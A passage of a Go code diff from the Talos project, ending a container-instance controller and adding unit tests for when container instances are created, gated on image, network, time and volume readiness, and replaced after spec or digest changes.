containerSpec.TypedSpec().Resources + + return nil + }, + ) +} + +// minOptionalDuration returns the smaller of two optional durations, ignoring any that are not set. +func minOptionalDuration(a, b optional.Optional[time.Duration]) optional.Optional[time.Duration] { + av, aok := a.Get() + bv, bok := b.Get() + + switch { + case !aok: + return b + case !bok: + return a + case bv < av: + return b + default: + return a + } +} diff --git a/internal/app/machined/pkg/controllers/containers/instance_test.go b/internal/app/machined/pkg/controllers/containers/instance_test.go new file mode 100644 index 00000000000..ec59b0b67da --- /dev/null +++ b/internal/app/machined/pkg/controllers/containers/instance_test.go @@ -0,0 +1,1021 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers_test + +import ( + "os" + "path/filepath" + "strconv" + "testing" + "time" + + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/safe" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/suite" + + containersctrl "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/containers" + "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/ctest" + "github.com/siderolabs/talos/pkg/machinery/resources/block" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" + "github.com/siderolabs/talos/pkg/machinery/resources/network" + timeres "github.com/siderolabs/talos/pkg/machinery/resources/time" +) + +const ( + // testContainer is the container name every test in this suite uses. + testContainer = "nginx" + // clockContainer is an ungated container used to observe reconcile passes; see tick. + // + // The name has to sort after testContainer: a pass walks the specs in ID order, so the clock only + // means "the pass is done with testContainer" if it comes last. + clockContainer = "zz-clock" + // testImageRef is the image the test container spec declares. + testImageRef = "docker.io/library/nginx:latest" + // otherImageRef is a second reference, for tests that edit the spec's image. + otherImageRef = "docker.io/library/nginx:1.29" + // testDigest is the digest the faked image controller resolves testImageRef to. + testDigest = "sha256:abc" + // movedDigest is what a re-pull resolves to, standing in for a tag that has moved. + movedDigest = "sha256:def" +) + +type InstanceSuite struct { + ctest.DefaultSuite + + clockGeneration uint64 +} + +func TestInstanceSuite(t *testing.T) { + t.Parallel() + + suite.Run(t, &InstanceSuite{ + DefaultSuite: ctest.DefaultSuite{ + Timeout: 15 * time.Second, + AfterSetup: func(suite *ctest.DefaultSuite) { + suite.Require().NoError(suite.Runtime().RegisterController(&containersctrl.InstanceController{})) + suite.Require().NoError(suite.Runtime().RegisterController(&containersctrl.MountController{})) + }, + }, + }) +} + +// createSpec creates a ContainerSpec for testContainer, applying any mutators. +func (suite *InstanceSuite) createSpec(mutate ...func(*containers.ContainerSpecSpec)) { + suite.createNamedSpec(testContainer, mutate...) +} + +// createNamedSpec creates a ContainerSpec with a fixed image, applying any mutators. +func (suite *InstanceSuite) createNamedSpec(name string, mutate ...func(*containers.ContainerSpecSpec)) { + spec := containers.NewContainerSpec(containers.NamespaceName, name) + spec.TypedSpec().Image = containers.ContainerImageSpec{Ref: testImageRef} + + for _, m := range mutate { + m(spec.TypedSpec()) + } + + suite.Require().NoError(suite.State().Create(suite.Ctx(), spec)) +} + +// markImageReady fakes the image controller's output for testContainer. +func (suite *InstanceSuite) markImageReady() { + suite.markNamedImageReady(testContainer, testDigest) +} + +// markNamedImageReady fakes the image controller's output, with digest as it resolved the tag. +func (suite *InstanceSuite) markNamedImageReady(name, digest string) { + status := containers.NewContainerImageStatus(containers.NamespaceName, name) + status.TypedSpec().Phase = containers.ContainerImagePhaseReady + status.TypedSpec().Image = testImageRef + status.TypedSpec().Digest = digest + + suite.Require().NoError(suite.State().Create(suite.Ctx(), status)) +} + +// updateSpec applies a mutation to testContainer's ContainerSpec. +func (suite *InstanceSuite) updateSpec(mutate func(*containers.ContainerSpecSpec)) { + ctest.UpdateWithConflicts(suite, containers.NewContainerSpec(containers.NamespaceName, testContainer), + func(spec *containers.ContainerSpec) error { + mutate(spec.TypedSpec()) + + return nil + }) +} + +// updateImageStatus applies a mutation to testContainer's ContainerImageStatus, standing in for a +// re-pull by the image controller. +func (suite *InstanceSuite) updateImageStatus(mutate func(*containers.ContainerImageStatusSpec)) { + ctest.UpdateWithConflicts(suite, containers.NewContainerImageStatus(containers.NamespaceName, testContainer), + func(status *containers.ContainerImageStatus) error { + mutate(status.TypedSpec()) + + return nil + }) +} + +// assertInstance asserts that the given generation of testContainer's instance exists. +func (suite *InstanceSuite) assertInstance(generation uint64) { + ctest.AssertResource(suite, containers.InstanceID(testContainer, generation), + func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(generation, instance.TypedSpec().Generation) + }) +} + +// setInstanceStatus fakes the runtime controller's output for a generation of testContainer's +// instance, creating or updating the status as needed. +func (suite *InstanceSuite) setInstanceStatus(generation uint64, phase containers.ContainerInstancePhase, finishedAt time.Time) { + id := containers.InstanceID(testContainer, generation) + + status := containers.NewContainerInstanceStatus(containers.NamespaceName, id) + status.TypedSpec().ContainerID = testContainer + status.TypedSpec().Generation = generation + status.TypedSpec().Phase = phase + status.TypedSpec().FinishedAt = finishedAt + + if err := suite.State().Create(suite.Ctx(), status); err == nil { + return + } + + ctest.UpdateWithConflicts(suite, status, func(res *containers.ContainerInstanceStatus) error { + *res.TypedSpec() = *status.TypedSpec() + + return nil + }) +} + +// assertNoInstance asserts that the given generation of testContainer's instance does not exist. +// +// On its own this proves little: a resource that has not been created yet looks exactly like one +// that never will be, so it also passes before the controller has run at all. Pair it with tick when +// the point is that the container was considered and rejected. +func (suite *InstanceSuite) assertNoInstance(generation uint64) { + ctest.AssertNoResource[*containers.ContainerInstanceSpec](suite, containers.InstanceID(testContainer, generation)) +} + +// tick returns once the controller has provably completed a reconcile pass over the current state. +// +// It works by changing the spec of an ungated container and waiting for the next generation of its +// instance to appear. A pass reads every spec and status fresh, so a pass that produced that +// generation also evaluated everything else written before this call, which is what makes a +// subsequent assertNoInstance mean "considered and rejected" rather than "not yet reached". +// +// This relies on clockContainer sorting last: a pass walks the specs in ID order, so a clock instance +// appearing mid-pass would say nothing about specs the pass had yet to reach. +func (suite *InstanceSuite) tick() { + if suite.clockGeneration == 0 { + suite.createNamedSpec(clockContainer) + suite.markNamedImageReady(clockContainer, testDigest) + } else { + ctest.UpdateWithConflicts(suite, containers.NewContainerSpec(containers.NamespaceName, clockContainer), + func(spec *containers.ContainerSpec) error { + // Unique per tick, so the spec genuinely differs and the generation advances. + spec.TypedSpec().Args = []string{strconv.FormatUint(suite.clockGeneration, 10)} + + return nil + }) + } + + ctest.AssertResource(suite, containers.InstanceID(clockContainer, suite.clockGeneration), + func(*containers.ContainerInstanceSpec, *assert.Assertions) {}) + + suite.clockGeneration++ +} + +// SetupTest resets the per-test clock on top of the default setup. +func (suite *InstanceSuite) SetupTest() { + suite.DefaultSuite.SetupTest() + + suite.clockGeneration = 0 + + // MountController treats a missing barrier as the node going down and does nothing, so nothing + // would ever become ready without it. + suite.Require().NoError(suite.State().Create(suite.Ctx(), + containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID))) +} + +func (suite *InstanceSuite) TestNoInstanceUntilImageReady() { + suite.createSpec() + + // No image status yet: the container stays pending. + suite.tick() + suite.assertNoInstance(0) + + suite.markImageReady() + + // Once ready, the instance appears; see TestInstanceMirrorsMinimalSpec for its contents. + suite.assertInstance(0) +} + +// TestInstanceMirrorsFullSpec asserts the whole resulting instance at once, for a spec with every +// field populated. +// +// Comparing the entire struct is the point: a field the controller forgets to carry over is not a +// crash, it is a container quietly running without the setting the user asked for, and a +// field-by-field test only covers the fields someone thought to list. +func (suite *InstanceSuite) TestInstanceMirrorsFullSpec() { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.Entrypoint = []string{"/docker-entrypoint.sh"} + spec.Args = []string{"nginx", "-g", "daemon off;"} + spec.WorkingDir = "/srv" + spec.RunAs = containers.ContainerRunAsSpec{UID: new(int32(65534)), GID: new(int32(65533))} + spec.Environment = []string{"NGINX_PORT=8080", "TZ=UTC"} + spec.Mounts = []containers.ContainerMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/dev", + Destination: "/host/dev", + Options: []string{"ro"}, + }, + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + Options: []string{"nosuid"}, + }, + } + spec.Security = containers.ContainerSecuritySpec{ + Privileged: true, + CapabilitiesAdd: []string{"NET_ADMIN"}, + CapabilitiesDrop: []string{"ALL"}, + } + spec.Network = containers.ContainerNetworkSpec{HostNetwork: true} + spec.Resources = containers.ContainerResourcesSpec{MemoryLimit: 1 << 29, CPULimit: 1500} + // DependsOn gates whether the instance exists; it is not carried onto it. + spec.DependsOn = containers.ContainerDependsOnSpec{Time: true} + }) + suite.markImageReady() + + timeStatus := timeres.NewStatus() + timeStatus.TypedSpec().Synced = true + suite.Require().NoError(suite.State().Create(suite.Ctx(), timeStatus)) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 0), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstanceSpecSpec{ + ContainerID: testContainer, + Generation: 0, + // The resolved digest, not the reference the spec names. + Image: testDigest, + Entrypoint: []string{"/docker-entrypoint.sh"}, + Args: []string{"nginx", "-g", "daemon off;"}, + WorkingDir: "/srv", + RunAs: containers.ContainerRunAsSpec{UID: new(int32(65534)), GID: new(int32(65533))}, + Environment: []string{"NGINX_PORT=8080", "TZ=UTC"}, + Mounts: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/dev", + Destination: "/host/dev", + Options: []string{"ro"}, + }, + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + Options: []string{"nosuid"}, + }, + }, + Security: containers.ContainerSecuritySpec{ + Privileged: true, + CapabilitiesAdd: []string{"NET_ADMIN"}, + CapabilitiesDrop: []string{"ALL"}, + }, + Network: containers.ContainerNetworkSpec{HostNetwork: true}, + Resources: containers.ContainerResourcesSpec{MemoryLimit: 1 << 29, CPULimit: 1500}, + }, *instance.TypedSpec()) + }) +} + +// TestInstanceMirrorsMinimalSpec is the same assertion for a spec that sets nothing beyond the +// image, so an invented default shows up as a difference. +func (suite *InstanceSuite) TestInstanceMirrorsMinimalSpec() { + suite.createSpec() + suite.markImageReady() + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 0), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstanceSpecSpec{ + ContainerID: testContainer, + Image: testDigest, + }, *instance.TypedSpec()) + }) +} + +// TestGenerationCarriesOntoInstance pins the generation in the resource ID and the one in the spec +// together: the ID is what the runtime keys off, the field is what it reports. +func (suite *InstanceSuite) TestGenerationCarriesOntoInstance() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + for generation := uint64(1); generation <= 3; generation++ { + suite.updateSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{strconv.FormatUint(generation, 10)} + }) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, generation), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(generation, instance.TypedSpec().Generation) + asrt.Equal(testContainer, instance.TypedSpec().ContainerID) + asrt.Equal([]string{strconv.FormatUint(generation, 10)}, instance.TypedSpec().Args) + }) + } +} + +// TestFailedImageStatusStaysPending pins the phase half of what "resolved" means. +// +// A digest alone must not start a container: a status that reports a failure has not produced +// anything runnable, whatever digest it happens to still carry from an earlier pull. +func (suite *InstanceSuite) TestFailedImageStatusStaysPending() { + suite.createSpec() + + status := containers.NewContainerImageStatus(containers.NamespaceName, testContainer) + status.TypedSpec().Phase = containers.ContainerImagePhaseFailed + status.TypedSpec().Image = testImageRef + status.TypedSpec().Digest = testDigest + status.TypedSpec().Error = "signature verification denied" + suite.Require().NoError(suite.State().Create(suite.Ctx(), status)) + + suite.tick() + suite.assertNoInstance(0) + + // A later pull succeeds, and only now may the container start. + suite.updateImageStatus(func(status *containers.ContainerImageStatusSpec) { + status.Phase = containers.ContainerImagePhaseReady + status.Error = "" + }) + + suite.assertInstance(0) +} + +// TestReadyWithoutDigestStaysPending covers a ready image status that carries no digest. +// +// A ready phase is not on its own something to start from: the instance runs a digest, so until there +// is one the container waits rather than falling back to the mutable reference. +func (suite *InstanceSuite) TestReadyWithoutDigestStaysPending() { + suite.createSpec() + suite.markNamedImageReady(testContainer, "") + + suite.tick() + suite.assertNoInstance(0) + + // The digest lands, and only now is there something to run. + suite.updateImageStatus(func(status *containers.ContainerImageStatusSpec) { + status.Digest = testDigest + }) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 0), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(testDigest, instance.TypedSpec().Image) + }) +} + +func (suite *InstanceSuite) TestGatesOnNetworkAndTime() { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.DependsOn.Networks = []string{"addresses"} + spec.DependsOn.Time = true + }) + suite.markImageReady() + + suite.tick() + suite.assertNoInstance(0) + + netStatus := network.NewStatus(network.NamespaceName, network.StatusID) + netStatus.TypedSpec().AddressReady = true + suite.Require().NoError(suite.State().Create(suite.Ctx(), netStatus)) + + // Network alone is not enough while time is also required. + suite.tick() + suite.assertNoInstance(0) + + timeStatus := timeres.NewStatus() + timeStatus.TypedSpec().Synced = true + suite.Require().NoError(suite.State().Create(suite.Ctx(), timeStatus)) + + suite.assertInstance(0) +} + +// assertNetworkConditionStarts pins one dependsOn.networks condition to the network.Status field it +// reads. +// +// Only that one field is ever set, so a condition reading the wrong field never becomes ready and +// the container never starts. Asserting the whole set at once would not catch that: once every +// field is true, a mis-wired condition is satisfied too. +func (suite *InstanceSuite) assertNetworkConditionStarts(condition string, satisfy func(*network.StatusSpec)) { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.DependsOn.Networks = []string{condition} + }) + suite.markImageReady() + + suite.tick() + suite.assertNoInstance(0) + + netStatus := network.NewStatus(network.NamespaceName, network.StatusID) + satisfy(netStatus.TypedSpec()) + suite.Require().NoError(suite.State().Create(suite.Ctx(), netStatus)) + + suite.assertInstance(0) +} + +func (suite *InstanceSuite) TestGatesOnAddresses() { + suite.assertNetworkConditionStarts("addresses", func(status *network.StatusSpec) { status.AddressReady = true }) +} + +func (suite *InstanceSuite) TestGatesOnConnectivity() { + suite.assertNetworkConditionStarts("connectivity", func(status *network.StatusSpec) { status.ConnectivityReady = true }) +} + +func (suite *InstanceSuite) TestGatesOnHostname() { + suite.assertNetworkConditionStarts("hostname", func(status *network.StatusSpec) { status.HostnameReady = true }) +} + +func (suite *InstanceSuite) TestGatesOnEtcFiles() { + suite.assertNetworkConditionStarts("etcfiles", func(status *network.StatusSpec) { status.EtcFilesReady = true }) +} + +// TestTimeSyncDisabledBlocksTimeGate covers a node with time sync disabled: the dependsOn.time gate +// was declared explicitly, so it stays unmet rather than silently letting the container start +// without a synced clock. +func (suite *InstanceSuite) TestTimeSyncDisabledBlocksTimeGate() { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.DependsOn.Time = true + }) + suite.markImageReady() + + timeStatus := timeres.NewStatus() + timeStatus.TypedSpec().SyncDisabled = true + suite.Require().NoError(suite.State().Create(suite.Ctx(), timeStatus)) + + suite.tick() + suite.assertNoInstance(0) +} + +// TestGatesOnPath covers the one dependency with no COSI equivalent, which the controller has to +// poll for. +func (suite *InstanceSuite) TestGatesOnPath() { + path := filepath.Join(suite.T().TempDir(), "ready") + + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.DependsOn.Paths = []string{path} + }) + suite.markImageReady() + + suite.tick() + suite.assertNoInstance(0) + + suite.Require().NoError(os.WriteFile(path, nil, 0o600)) + + // Creating the file produces no resource event, so only the poll can make this pass. + suite.assertInstance(0) +} + +func (suite *InstanceSuite) TestUserVolumeMountStaysPending() { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.Mounts = []containers.ContainerMountSpec{ + { + Kind: containers.MountKindUserVolume, + VolumeID: "u-web-content", + Destination: "/usr/share/nginx/html", + }, + } + }) + suite.markImageReady() + + // The volume's host path is only known once it is actually mounted, so the container waits. + suite.tick() + suite.assertNoInstance(0) +} + +// TestStartsOnceUserVolumeIsMounted is the other half: the container starts once the volume is +// mounted, with the resolved host path on the instance it runs from. +func (suite *InstanceSuite) TestStartsOnceUserVolumeIsMounted() { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.Mounts = []containers.ContainerMountSpec{ + { + Kind: containers.MountKindUserVolume, + VolumeID: "u-web-content", + Destination: "/usr/share/nginx/html", + }, + } + }) + suite.markImageReady() + + requestID := "containers.MountController/" + testContainer + "/u-web-content" + + ctest.AssertResource(suite, requestID, func(*block.VolumeMountRequest, *assert.Assertions) {}) + + mountStatus := block.NewVolumeMountStatus(block.NamespaceName, requestID) + mountStatus.TypedSpec().VolumeID = "u-web-content" + mountStatus.TypedSpec().Requester = "containers.MountController" + mountStatus.TypedSpec().Target = "/var/mnt/web-content" + + suite.Require().NoError(suite.State().Create(suite.Ctx(), mountStatus)) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 0), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + if !asrt.Len(instance.TypedSpec().Mounts, 1) { + return + } + + asrt.Equal("/var/mnt/web-content", instance.TypedSpec().Mounts[0].Source) + asrt.Equal("/usr/share/nginx/html", instance.TypedSpec().Mounts[0].Destination) + }) +} + +// TestResolvesTmpfsAndHostPathMounts covers the mount kinds that need no MountController. +// +// Asserting the resolved slice exactly is the point: each kind carries a different subset of the +// fields, and the instance is what a runtime would build an OCI spec from. +func (suite *InstanceSuite) TestResolvesTmpfsAndHostPathMounts() { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.Mounts = []containers.ContainerMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/dev", + Destination: "/host/dev", + Options: []string{"ro"}, + }, + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + Options: []string{"nosuid"}, + }, + } + }) + suite.markImageReady() + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 0), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal([]containers.ResolvedMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/dev", + Destination: "/host/dev", + Options: []string{"ro"}, + }, + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + Options: []string{"nosuid"}, + }, + }, instance.TypedSpec().Mounts) + }) +} + +func (suite *InstanceSuite) TestSpecChangeReplacesInstance() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + suite.updateSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{"--verbose"} + }) + + // The existing instance must be destroyed rather than mutated, and the next generation created + // from the new spec. + suite.assertNoInstance(0) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(uint64(1), instance.TypedSpec().Generation) + asrt.Equal([]string{"--verbose"}, instance.TypedSpec().Args) + }) +} + +// TestEveryComparedFieldReplacesInstance walks every field the spec-to-instance comparison covers. +// +// A field left out of that comparison is not a visible failure: the container keeps running on the +// old settings and the config change silently never takes effect. Each mutation must therefore +// advance the generation. +func (suite *InstanceSuite) TestEveryComparedFieldReplacesInstance() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + mutations := []func(*containers.ContainerSpecSpec){ + func(spec *containers.ContainerSpecSpec) { spec.Entrypoint = []string{"/entrypoint.sh"} }, + func(spec *containers.ContainerSpecSpec) { spec.Args = []string{"nginx", "-g", "daemon off;"} }, + func(spec *containers.ContainerSpecSpec) { spec.WorkingDir = "/srv" }, + func(spec *containers.ContainerSpecSpec) { spec.Environment = []string{"NGINX_PORT=8080"} }, + // Each RunAs half separately: nil is meaningful there, so a comparison that only looks at + // one half would miss the other. + func(spec *containers.ContainerSpecSpec) { spec.RunAs.UID = new(int32(65534)) }, + func(spec *containers.ContainerSpecSpec) { spec.RunAs.GID = new(int32(65534)) }, + func(spec *containers.ContainerSpecSpec) { spec.Security.Privileged = true }, + func(spec *containers.ContainerSpecSpec) { spec.Security.CapabilitiesAdd = []string{"NET_ADMIN"} }, + func(spec *containers.ContainerSpecSpec) { spec.Security.CapabilitiesDrop = []string{"ALL"} }, + func(spec *containers.ContainerSpecSpec) { spec.Network.HostNetwork = true }, + func(spec *containers.ContainerSpecSpec) { spec.Resources.MemoryLimit = 1 << 29 }, + func(spec *containers.ContainerSpecSpec) { spec.Resources.CPULimit = 1500 }, + func(spec *containers.ContainerSpecSpec) { + spec.Mounts = []containers.ContainerMountSpec{{Kind: containers.MountKindTmpfs, Destination: "/tmp"}} + }, + } + + for i, mutate := range mutations { + suite.updateSpec(mutate) + + suite.assertInstance(uint64(i + 1)) + } +} + +// TestMovedDigestReplacesInstance covers the drift that is invisible in the container spec: the +// reference is untouched, but the tag now points at different bytes. +// +// The instance runs a digest, so comparing references would report no change and the container would +// keep running the old image for the life of the node. +func (suite *InstanceSuite) TestMovedDigestReplacesInstance() { + suite.createSpec() + suite.markImageReady() + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 0), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(testDigest, instance.TypedSpec().Image) + }) + + // Same reference, re-pulled to different bytes. + suite.updateImageStatus(func(status *containers.ContainerImageStatusSpec) { + status.Digest = movedDigest + }) + + suite.assertNoInstance(0) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(uint64(1), instance.TypedSpec().Generation) + asrt.Equal(movedDigest, instance.TypedSpec().Image) + }) +} + +// TestImageRefChangeWaitsForRepull covers an edited image reference, which reaches the instance only +// once something has resolved it. +// +// Replacing the instance the moment the reference changes would stop the container before there is +// anything to replace it with, so the old instance has to survive until the pull lands. +func (suite *InstanceSuite) TestImageRefChangeWaitsForRepull() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + // The reference changes, but the image status still describes the old pull. + suite.updateSpec(func(spec *containers.ContainerSpecSpec) { + spec.Image = containers.ContainerImageSpec{Ref: otherImageRef} + }) + + suite.tick() + suite.assertNoInstance(1) + suite.assertInstance(0) + + // The pull lands, and only now is there a new image to run. + suite.updateImageStatus(func(status *containers.ContainerImageStatusSpec) { + status.Image = otherImageRef + status.Digest = movedDigest + }) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(movedDigest, instance.TypedSpec().Image) + }) +} + +// TestUnresolvedImageKeepsInstance covers the image status disappearing under a running instance. +// +// There is nothing to replace it with, so churning the container would only take away a working one. +func (suite *InstanceSuite) TestUnresolvedImageKeepsInstance() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + suite.Require().NoError(suite.State().Destroy(suite.Ctx(), + containers.NewContainerImageStatus(containers.NamespaceName, testContainer).Metadata())) + + suite.tick() + suite.assertNoInstance(1) + suite.assertInstance(0) +} + +// TestClearedDigestKeepsInstance covers a re-pull that reports no digest under a running instance. +// +// The instance is left alone rather than replaced: there is no digest to run instead, and stopping a +// working container over a status that says nothing would be the worse of the two outcomes. +func (suite *InstanceSuite) TestClearedDigestKeepsInstance() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + suite.updateImageStatus(func(status *containers.ContainerImageStatusSpec) { + status.Digest = "" + }) + + suite.tick() + suite.assertNoInstance(1) + suite.assertInstance(0) +} + +// TestStaleImageStatusIsIgnored covers an image status that still describes the previous reference. +// +// ImageController keeps one status per container, so an edited reference leaves the old reference's +// ready status in place until the re-pull lands. Those are the previous image's bytes, and starting +// them under the new configuration would run an image nobody asked for. +func (suite *InstanceSuite) TestStaleImageStatusIsIgnored() { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.Image = containers.ContainerImageSpec{Ref: otherImageRef} + }) + + // Ready and carrying a digest, but for testImageRef rather than the reference the spec names. + suite.markImageReady() + + suite.tick() + suite.assertNoInstance(0) + + // The pull of the reference the spec does name lands. + suite.updateImageStatus(func(status *containers.ContainerImageStatusSpec) { + status.Image = otherImageRef + status.Digest = movedDigest + }) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 0), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(movedDigest, instance.TypedSpec().Image) + }) +} + +// TestGatedSpecChangeKeepsInstance covers a spec change made while the image gate is shut. +// +// Stopping the container the moment its spec changes leaves nothing to start in its place for as +// long as the gate stays shut, so the running instance has to survive until the replacement can +// actually be created. +// +// The generation the replacement lands on is what proves it: destroying first and creating in a +// later pass throws away the only record of the current number, and the replacement comes back as +// generation 0, reusing the ID of the instance that was just destroyed. +func (suite *InstanceSuite) TestGatedSpecChangeKeepsInstance() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + // Shut the gate first: with the digest still resolved, the edit below would be a legitimate + // immediate replacement and this would test nothing. + suite.updateImageStatus(func(status *containers.ContainerImageStatusSpec) { + status.Digest = "" + }) + + suite.tick() + suite.assertInstance(0) + + suite.updateSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{"--verbose"} + }) + + suite.tick() + suite.assertInstance(0) + suite.assertNoInstance(1) + + // The re-pull lands, and only now is there something to replace it with. + suite.updateImageStatus(func(status *containers.ContainerImageStatusSpec) { + status.Digest = movedDigest + }) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal([]string{"--verbose"}, instance.TypedSpec().Args) + asrt.Equal(movedDigest, instance.TypedSpec().Image) + }) + + suite.assertNoInstance(0) +} + +// TestGatedSpecChangeKeepsInstanceOnUnresolvableMount is the same case for a gate that never opens. +// +// Nothing resolves a userVolume yet, so replacing the instance over this edit would stop the +// container permanently rather than briefly. +func (suite *InstanceSuite) TestGatedSpecChangeKeepsInstanceOnUnresolvableMount() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + suite.updateSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{"--verbose"} + spec.Mounts = []containers.ContainerMountSpec{ + { + Kind: containers.MountKindUserVolume, + VolumeID: "u-web-content", + Destination: "/usr/share/nginx/html", + }, + } + }) + + suite.tick() + suite.assertInstance(0) + suite.assertNoInstance(1) +} + +// TestTearingDownInstanceIsReplaced covers a spec that reverts while the instance it invalidated is +// still stopping. +// +// A stop already under way cannot be taken back: whatever holds the finalizer is bringing that +// container down. Comparing the tearing-down instance against the reverted spec would report it in +// sync, and it would sit there half-destroyed with nothing running in its place. +func (suite *InstanceSuite) TestTearingDownInstanceIsReplaced() { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{"nginx"} + }) + suite.markImageReady() + + suite.assertInstance(0) + + instanceMD := containers.NewContainerInstanceSpec(containers.NamespaceName, containers.InstanceID(testContainer, 0)).Metadata() + + // Stands in for the runtime controller having taken charge of the instance: the teardown below + // cannot complete until it releases. + suite.AddFinalizer(instanceMD, "test") + + suite.updateSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{"--verbose"} + }) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 0), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(resource.PhaseTearingDown, instance.Metadata().Phase()) + }) + + // The spec goes back to exactly what the still-stopping instance was built from. + suite.updateSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{"nginx"} + }) + + suite.tick() + + suite.RemoveFinalizer(instanceMD, "test") + + suite.assertNoInstance(0) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal([]string{"nginx"}, instance.TypedSpec().Args) + }) +} + +// TestNoChangeKeepsInstance is the other half of the comparison: a spec write that changes nothing +// must not churn the container. +// +// The no-op write is followed by a real one, and the generation the real one lands on is what proves +// the no-op was ignored: an over-eager comparison would have spent generation 1 on the no-op, so the +// real change would land on 2 and this generation 1 would either be gone or carry the old args. +// Asserting only that generation 1 is absent right after the no-op would pass either way, since a +// resource that has not been created yet is indistinguishable from one that never will be. +func (suite *InstanceSuite) TestNoChangeKeepsInstance() { + suite.createSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{"nginx"} + }) + suite.markImageReady() + + suite.assertInstance(0) + + // RunAs halves stay nil and mounts stay empty here, which is where an over-eager comparison + // would report a change on every pass and restart the container forever. + suite.updateSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{"nginx"} + }) + + suite.updateSpec(func(spec *containers.ContainerSpecSpec) { + spec.Args = []string{"nginx", "-g", "daemon off;"} + }) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal([]string{"nginx", "-g", "daemon off;"}, instance.TypedSpec().Args) + }) + + suite.tick() + suite.assertNoInstance(2) +} + +func (suite *InstanceSuite) TestRemovesInstancesWhenSpecGoesAway() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + suite.Require().NoError(suite.State().Destroy(suite.Ctx(), + containers.NewContainerSpec(containers.NamespaceName, testContainer).Metadata())) + + suite.assertNoInstance(0) +} + +// TestRestartsAfterTermination covers the runtime controller's status feeding back into a restart, +// once RestartInterval has elapsed since the instance finished. +func (suite *InstanceSuite) TestRestartsAfterTermination() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + suite.setInstanceStatus(0, containers.ContainerInstancePhaseTerminated, 